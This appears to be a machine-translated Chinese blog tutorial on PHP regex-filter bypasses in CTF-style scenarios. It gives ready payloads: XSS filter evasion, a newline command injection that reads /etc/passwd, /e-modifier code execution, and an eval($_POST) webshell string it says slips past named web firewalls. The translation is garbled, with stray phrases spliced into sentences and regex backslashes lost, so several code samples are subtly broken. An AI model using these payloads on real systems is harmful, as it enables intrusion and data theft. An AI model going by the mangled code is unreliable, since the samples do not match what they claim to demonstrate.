最近看到P大神写的一篇文章,其中在3个参数的反弹函数中提到了preg_replace/e命令的执行。 我对这方面不是很熟悉,所以写这篇文章来总结和学习。
预匹配
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
preg_match函数用于执行正则表达式匹配
参数说明
$模式
要搜索的模式,作为字符串。
$主题
用于搜索测量值的目标字符串
$匹配项
如果提供了参数匹配,它将被填充为搜索结果。 $matches[0] 将包含与完整模式匹配的文本,$matches[1] 将包含与第一个捕获的子组匹配的文本,依此类推。
$标志
可以设置Tag值,详细使用方法参考PHP指南:preg_match
$偏移量
可选参数offset用于指定从目标字符串的未知部分开始搜索(以字节为单位)。
预替换
preg_replace - 执行正则表达式搜索和替换
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
搜索主题中与模式匹配的部分,并将其替换为替换。
参数说明
$模式
要搜索的模式,字符串或字符串字段
$替换品
要替换的字符串或字符串字段
$主题
要搜索和替换的目标字符串或字符串列表
$限额
可选php 执行函数,每个模式的每个主题字符串的最大替换数。 默认为-1(无限制)
$计数
可选,替换执行次数
如果 subject 是一个链表,则 **preg_replace()** 返回一个链表,否则返回一个字符串。
如果找到匹配,则返回替换的主题,否则返回未更改的主题。 如果出现错误,则返回 NULL。
场景1 嵌套结局绕过
还是用XSS的情况:
<?php
error_reporting(0);
$name = $_GET["name"];
$name = preg_replace('/script/i','',$name);
echo $name;
?>
虽然/i是用来匹配大小写字母的,逻辑上是有问题的,但是只要把关键字替换成空,就可以使用嵌套结尾来绕过:
http://x.x.x.x/xxx.php?name=<sscriptcript>alert(2333)</sscriptcript>
类似的过滤逻辑经常出现在str_replace函数中:
$name = str_replace( 'script', '', $_GET[ 'name' ] );
嵌套结局的强化方法:
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
使用转义来匹配可以有效防止Bypass方法的嵌套结束,这对于XSS正确的加固方法是HTML实体来说是不够的。
修饰符
下面仅列出安全生产中常用的修饰符 /i/m 以及本文的重点 /e
/i 场景1案例绕过
/i 修饰符不区分大小写,如果不使用 /i,很容易绕过使用大小写。 我们来看一个经典的反射XSS案例:
<?php
error_reporting(0);
$name = $_GET["name"];
if (preg_match('/script/', $_GET["name"])) {
die('hacker');
}
echo $name;
?>
由于没有使用大小写,仅进行过滤,因此只需更改此处的大小写即可绕过它:
http://x.x.x.x/xxx.php?name=<Script>alert(2333)</Script>
/米
/m 匹配多行,当出现换行符%0a时,会被视为两行。 此时只能匹配第一行,相邻的行将被忽略。
<pre>
<?php
if (!(preg_match('/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
换行后绕过:
http://x.x.x.x/xxx.php?ip=127.0.0.1%0acat /etc/passwd
/e 场景1 无限参数传输
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>
所以可以传入 /e 修饰符,然后让代码执行:
http://x.x.x.x/xxx.php?pattern=/233/e&new=phpinfo()&base=233
场景2 简单正则匹配
<?php
error_reporting(0);
include('flag.php');
$pattern = $_REQUEST["pattern"];
$new = $_POST["new"];
$base = '2333';
preg_replace(
$pattern,
$new,
$base
);
?>
是问题类型1的轻微修改。preg_replace的$pattern部分是可控的,可以自动传入/e修饰符。当$pattern和$base匹配时,就会执行$new部分中的代码。 以此原理可以构造成如下payload:
http://10.211.55.5/shell/shell.php?pattern=/d/e
此时使用中国蚁剑连接自定义请求头:
可以直接getshell来获取flag:
场景3 高级正则匹配
<?php
error_reporting(0);
function complexStrtolower($regex, $value){
return preg_replace('/('.$regex.')/ei', 'strtolower("\1")', $value);
}
foreach($_REQUEST as $regex => $value){
echo complexStrtolower($regex, $value) . "n";
}
highlight_file(__FILE__);
?>
$regex 和 $value 是用户可控的,因此想法是构造一个 $regex 来匹配 $value,并让 $value 作为代码执行。
正则表达式含义
匹配除换行符之外的任何字符
s
匹配任何空格
S
匹配任何非空白字符
匹配上述子表达式一次或多次
所以匹配$regex和$value就非常简单了,payload大致如下:
S+=要执行的 PHP 代码
现在重点讨论如何让PHP代码执行。 此时我们使用的payload如下:
S+={${phpinfo()}}
这就涉及到PHP变量变量的坐姿了,我在那里单独解释记录一下。
可变变量是一种奇特的变量,它允许动态更改变量名称。 它的工作原理是变量的名称由另一个变量的值决定,实现过程是在变量后面添加一个$
<?php
$change_name = 'hello';
$hello = 'Hello World';
echo $$change_name; //echo $hello
?>
看下面的例子:
<?php
$a = 'hello';
$$a = 'world'; //$hello=world
echo "$a $hello";
echo "$a ${$a}"; //$a $hello
?>
$a 的内容是 hello,$hello 的内容是 world。 他们还会输出里面的代码:helloworld。
最终输出值为:HelloWorld
完整的调试过程可以参考下面的详细代码。 在某些常规情况下,可能会进行多次替换。 这个可能和PHP底层的调度算法有关,所以没必要深入补充这个问题:
<?php
error_reporting(0);
var_dump(phpinfo()); // bool(true)
var_dump(strtolower(true)); // string(1) "1"
var_dump(strtolower(phpinfo())); // string(1) "1"
var_dump(preg_replace('/2333/i','ok','2333')); // string(2) "ok"
var_dump(preg_replace('/d+/i','ok','2333')); // string(2) "ok"
var_dump(preg_replace('/S+/i','ok','2333')); // string(2) "ok"
var_dump(preg_replace('/.{4}/i','ok','2333')); // string(2) "ok"
var_dump(preg_replace('/[0-9]/i','ok','2333')); // string(8) "okokokok"
var_dump(preg_replace('/[0-9]+/i','ok','2333')); // string(2) "ok"
var_dump(preg_replace('/([0-9])([0-9])/i','ok','2333')); // string(4) "okok"
var_dump(preg_replace('/([0-9])([0-9])([0-9])/i','ok','2333')); // string(3) "ok3"
var_dump(preg_replace('/([0-9])([0-9])([0-9])/i','ok','23333333')); // string(6) "okok33"
var_dump(preg_replace('/.*/i','ok','2333')); // string(4) "okok"
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}')); // string(2) "11"
var_dump(preg_replace('/(.*)/ie','strtolower("\1")','{${phpinfo()}}')); // phpinfo() 执行成功 并输出 string(0) ""
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}')); // phpinfo() 执行成功 并输出 string(0) ""
// strtolower("{${phpinfo()}}") 执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
?>
最后一行
strtolower("{${phpinfo()}}")
${phpinfo()}中的phpinfo()会先作为变量执行,执行完后就变成${1}。 由于phpinfo()执行成功并返回true,因此相当于
strtolower("{${1}}") //var_dump 的输出结果 string(0) ""
我们再分析一下这个payload:
return preg_replace('/(S+)/ei', 'strtolower("\1")', '{${phpinfo()}}');
这次我们重点来分析理解这段代码:
strtolower("\1")
由于字符串中的特殊字符需要通配符,所以\1实际上是1php 执行函数,1表示正则表达式中的反向引用。
正则表达式模式或模式的一部分周围的括号会导致关联的匹配存储在临时缓冲区中,捕获的每个子匹配都按照它们在正则表达式模式中从左到右出现的顺序存储。 缓冲区从 1 开始编号,最多可存储 99 个捕获的子表达式。 每个缓冲区都可以使用 n 进行访问,其中 n 是标识特定缓冲区的一个或两个补码数。
所以最后 1 捕获了 {${phpinfo()}},所以最后 strtolower("{${phpinfo()}}") 作为代码被执行。
场景4 多缓冲区正则匹配
它与其中的示例类似,但这里有一种将我们的有效负载加载到 2 中编号为 2 的缓冲区中的方法:
<?php
error_reporting(0);
include('flag.php');
$content = $_POST['x'];
$content = preg_replace(
'(([0-9])(.*?)1)e',
'strtoupper("\2")',
$content
);
highlight_file(__FILE__);
?>
最终构建的POST数据提交到如下payload,下面仅使用一个phpinfo()函数进行测试:
x=1{${eval($_POST[2])}}1&2=phpinfo();
因为正则表达式中的$1,$2,...代表正则表达式上方第一个,第二个,...括号中的匹配内容,所以:
'strtoupper("\2")',
改成如下代码也是完全可行的:
'strtoupper("$2")',
此方法还可以通过最新的安全狗和D-shield
参考支持
这篇文章其实可能没有技术浓度,写起来就是浪费时间。 在这个乱世浮躁的时代,个人博客的阅读量越来越少,写博客感觉还是一种用爱发电的状态。 如果你恰好财力雄厚,觉得这篇文章对你有帮助,可以考虑打赏这篇文章,以维持昂贵的服务器运营成本(域名费、服务器费、CDN费等)
莫莫
支付宝
没想到,文章加入打赏列表没几天,就有热心网友打赏,于是我用Bootstrap重画了一个页面,感谢支持我的同事。 详情请查看打赏列表|郭光
发表评论